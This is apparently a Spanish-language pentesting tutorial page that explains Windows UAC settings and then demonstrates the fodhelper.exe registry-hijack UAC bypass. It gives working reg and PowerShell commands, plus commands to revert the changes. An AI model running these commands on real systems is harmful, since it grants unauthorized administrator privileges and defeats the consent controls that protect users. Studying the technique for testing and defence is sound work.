UAC bypass
Windows Privilege Escalation
UAC son las siglas de Control de Cuentas de Usuario (User Access Control), es una función de seguridad de Windows que protege el sistema contra cambios no autorizados. Cuando una aplicación o acción requiere permisos de administrador, el UAC solicita al usuario que apruebe o deniegue el cambio. Esto limita el riesgo de que software malintencionado o modificaciones no autorizadas afecten al equipo, ya que todo requiere permiso del usuario.
El UAC cuenta con varias configuraciones (incluyendo la que contiene por defecto, siendo la mas factible), cada una cuenta con un nivel de control y prevención diferente:
Notificarme Siempre: notifica todas las aplicaciones que intenten instalar otras aplicaciones, realizar cambios en el equipo, y cambios de configuración manuales (hechos por ti), también congela las tareas antes de continuar, obligándote a dar una respuesta.
Notificarme solamente cuando una aplicación intente realizar cambios en el equipo (por defecto): igual que el anterior, solo no congela la actividad cuando tu haces cambios manuales.
Notificarme solo cuando una aplicación intente realizar cambios en el equipo (no atenuar el escritorio): te avisa cuando otros programas intentan instalar aplicaciones o realizan cambios en el equipo, pero no cuando haces un cambio manual. es casi igual que el anterior con la diferencia de que al lanzar la advertencia no congela las actividades.
No notificarme nunca: desactiva el UAC, lo que implica no recibir ninguna advertencia (menos seguro obviamente).
El UAC trabaja bajo la idea de ejecución con privilegios mínimos, con esto nos referimos a que el UAC permite que los usuarios estándar realicen tareas diarias sin problemas, pero exige que los administradores obtengan una aprobación de nivel superior para las tareas administrativas, promoviendo así el principio de privilegios mínimos.
Bypass de UAC por ejecutables legítimos
Manipulación del Registro
en el sistema ciertas aplicaciones son consideradas "confiables" y se pueden ejecutar sin que aparezca un prompt del UAC, en este caso pondremos de ejemplo fodhelper.exe. las instrucciones que veremos a continuación hacen que cuando alguien abra ms-settings (protocol handler de windows), ejecuta cmd.exe en su lugar (asociación de archivo falsa) y esto hace que si ejecutamos fodhelper.exe (el cual intenta abrir ms-settings como parte de su funcionamiento normal) El sistema busca en el registro qué ejecutar para ms-settings donde encontrara nuestro comando en HKCU que tiene prioridad sobre HKLM, esto desencadena la ejecución de cmd.exe con los mismos privilegios de fodhelper (elevados).
al secuestrar la asociación (protocol handler) se nos proporcionan los privilegios que debería tener la asociación real.
# Crear la estructura en el registro
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /f
# Ejecutar el bypass
fodhelper.exe# Crear estructura de registro
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /k whoami"
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value ""
# Ejecutar
Start-Process "fodhelper.exe"Revertir cambios
# Eliminar las claves creadas
reg delete "HKCU\Software\Classes\ms-settings" /f
# O desde PowerShell
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -ForceLast updated
